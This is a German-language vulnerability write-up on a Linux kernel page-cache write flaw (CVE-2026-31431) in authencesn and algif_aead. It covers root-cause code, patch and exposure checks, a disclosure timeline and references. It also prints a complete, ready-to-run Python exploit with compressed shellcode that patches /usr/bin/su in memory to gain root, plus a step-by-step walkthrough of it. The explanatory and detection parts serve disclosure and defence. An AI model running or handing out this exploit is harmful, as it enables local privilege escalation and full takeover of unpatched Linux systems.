<div id='authencesn'/>

### ***Der Schreibzugriff außerhalb der Grenzen in authencesn***

authencesn ist der Kernel-AEAD-Wrapper, der von IPsec mit erweiterten Sequenznummern (RFC 4303) verwendet wird. IPsec verwendet 64-Bit-Sequenznummern:

- seqno_hi - die oberen 32 Bits (Bytes 0-3 der AAD)
- seqno_lo - die unteren 32 Bits (Bytes 4-7 der AAD)

Nur seqno_lo wird über das Netzwerk übertragen; seqno_hi ist impliziter Kontext. Für die HMAC-Berechnung muss authencesn diese Bytes neu anordnen: seqno_hi am Anfang und seqno_lo am Ende der Hash-Eingabe.

Diese Neuordnung führt es durch, indem es die Ziel-Scatterlist des Aufrufers als Scratch-Bereich verwendet:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */

// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);

// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);

// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

Wenn der Kernel zwischen 2017 und dem Patch (Commit a664bf3d603d) erstellt wurde, ist das System möglicherweise betroffen. Überprüfen Sie, ob der Patch vorhanden ist:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image

# RHEL / Fedora / Amazon Linux
rpm -q kernel

# SUSE
zypper se -s kernel-default

### ***3. Prüfen, ob algif_aead geladen ist***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"

# 1. Check if AF_ALG socket is available
try:
	# AF_ALG, SOCK_SEQPACKET
	s = socket.socket(38, 5, 0)
	results['af_alg_socket'] = True
	# 2. Try binding to authencesn (the vulnerable algorithm)
	try:
		s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
		results['authencesn_available'] = True
	except OSError as e:
		results['authencesn_available'] = False
		results['authencesn_error'] = str(e)
	s.close()
except OSError as e:
	results['af_alg_socket'] = False
	results['af_alg_error'] = str(e)

# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')

print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
	marker = '[+]' if v is True else '[-]' if v is False else '[i]'
	print(f"  {marker} {k}: {v}")

if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
	print("\n  [!] SURFACE AVAILABLE - system exposes the full attack surface.")
	print("      Verify whether the kernel includes patch a664bf3d603d.")
else:
	print("\n  [OK] Surface mitigated or not available.")

---

<div id='exploit'/>

## ***💣 Exploit***

Dieser Exploit wurde ursprünglich von Theori / Xint Code zusammen mit der öffentlichen Offenlegung am 29. April 2026 veröffentlicht.

- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **Offizielles Repository:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **Anforderungen:** Python 3.10+, betroffener Kernel, AF_ALG aktiviert.```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.

import os as g, zlib, socket as s

def d(x):
	return bytes.fromhex(x)

def c(f, t, c):
	# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
	a = s.socket(38, 5, 0)                             # AF_ALG, SOCK_SEQPACKET
	a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
	h = 279                                            # SOL_ALG
	v = a.setsockopt
	v(h, 1, d('0800010000000010' + '0' * 64))          # ALG_SET_KEY
	v(h, 5, None, 4)                                   # ALG_SET_AUTHSIZE = 4
	u, _ = a.accept()
	o = t + 4
	i = d('00')

	# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
	# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
	u.sendmsg(
		[b"A" * 4 + c],                      # AAD: seqno_hi=0x41414141, seqno_lo=payload
		[
			(h, 3, i * 4),                   # ALG_SET_IV
			(h, 2, b'\x10' + i * 19),        # ALG_SET_OP=DECRYPT + params
			(h, 4, b'\x08' + i * 3),         # ALG_SET_AEAD_AUTHSIZE
		],
		32768                                # MSG_SENDPAGE_NOTLAST
	)

	# splice: delivers page cache pages from the target file into the AF_ALG socket
	# The TX SGL of the socket will point directly to page cache pages
	r, w = g.pipe()
	n = g.splice
	n(f, w, o, offset_src=0)   # file -> pipe (reference to page cache page)
	n(r, u.fileno(), o)        # pipe -> AF_ALG socket (TX SGL points to page cache)

	# recv: triggers decrypt in the kernel
	# authencesn performs the scratch write -> 4 bytes written into the page cache
	# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
	try:
		u.recv(8 + t)
	except:
		0

# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)

# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
	"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
	"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
	"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
	c(f, i, e[i:i+4])
	i += 4

# Execute the patched binary in memory - runs as UID 0
g.system("su")

---
---
---



<div id='walkthrough'/>

## ***🔬 Exploit-Walkthrough***

<div id='step1'/>

### ***Schritt 1 - Socket-Setup***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

ALG_SET_AUTHSIZE = 4 legt die Größe des Authentifizierungs-Tags fest. Dieser Wert steuert direkt, wo `dst[assoclen + cryptlen]` relativ zur Tag-Region im Scatterlist landet, und damit, welcher Offset innerhalb des Page-Cache-Seitenbereichs überschrieben wird.

<div id='step2'/>

### ***Schritt 2 – Den Write konstruieren***

Für jeden 4-Byte-Chunk der Nutzlast:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes

u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)

<div id='step3'/>

### ***Schritt 3 - Den Page-Cache-Schreibvorgang auslösen***```python
try:
	u.recv(8 + t)
except:
	pass   # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.

Die Commit-Nachricht besagt: „Es gibt keinen Vorteil, in algif_aead in-place zu arbeiten, da Quelle und Ziel aus unterschiedlichen Zuordnungen stammen.“



---
---
---



<div id='timeline'/>

## ***📅 Offenlegungszeitplan***

| Datum      | Ereignis                                                  |
|------------|-----------------------------------------------------------|
| 2026-03-23 | Schwachstelle an das Linux-Kernel-Sicherheitsteam gemeldet |
| 2026-03-24 | Erste Bestätigung erhalten                                |
| 2026-03-25 | Patches vorgeschlagen und überprüft                       |
| 2026-04-01 | Patch in Mainline übernommen (a664bf3d603d)               |
| 2026-04-22 | CVE-2026-31431 zugewiesen                                 |
| 2026-04-29 | Öffentliche Offenlegung, [copy.fail](https://copy.fail/)  |

**Entdeckt von:** Taeyang Lee bei [Theori](https://theori.io/) / [Xint Code](https://xint.io/)



---
---
---



<div id='references'/>

## ***📚 Referenzen***

- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
	> Eintrag in der National Vulnerability Database.

- **[Copy Fail – Offizielle Offenlegung](https://copy.fail/)**
	> Landingpage mit FAQ, betroffenen Distributionen, Mitigation und PoC.

- **[Theori / Xint Blog – Vollständiger Artikel](https://xint.io/blog/copy-fail-linux-distributions)**
	> Grundursache, Scatterlist-Diagramme, historische Kette (2011→2015→2017) und Exploit-Durchlauf.

- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
	> Offizielles Repository mit dem PoC.

- **[Commit a664bf3d603d – Fix](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
	> Macht die In-Place-Optimierung von algif_aead rückgängig.

- **[Commit 72548b093ee3 – Grundursache (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
	> Führt die In-Place-Optimierung ein, die Page-Cache-Seiten in das beschreibbare Ziel legte.

- **[Commit a5079d084f8b – authencesn eingeführt (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
	> Ursprünglicher Commit, der authencesn hinzufügte und das Scratch-Schreibmuster etablierte.

- **[Commit 104880a6b470 – authencesn auf AEAD-API migriert (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
	> Führt den assoclen- + cryptlen-Offset ein, der außerhalb der legitimen Region schreibt.

- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
	> Stand der Technik in der Klasse der Page-Cache-Korruption / LPE.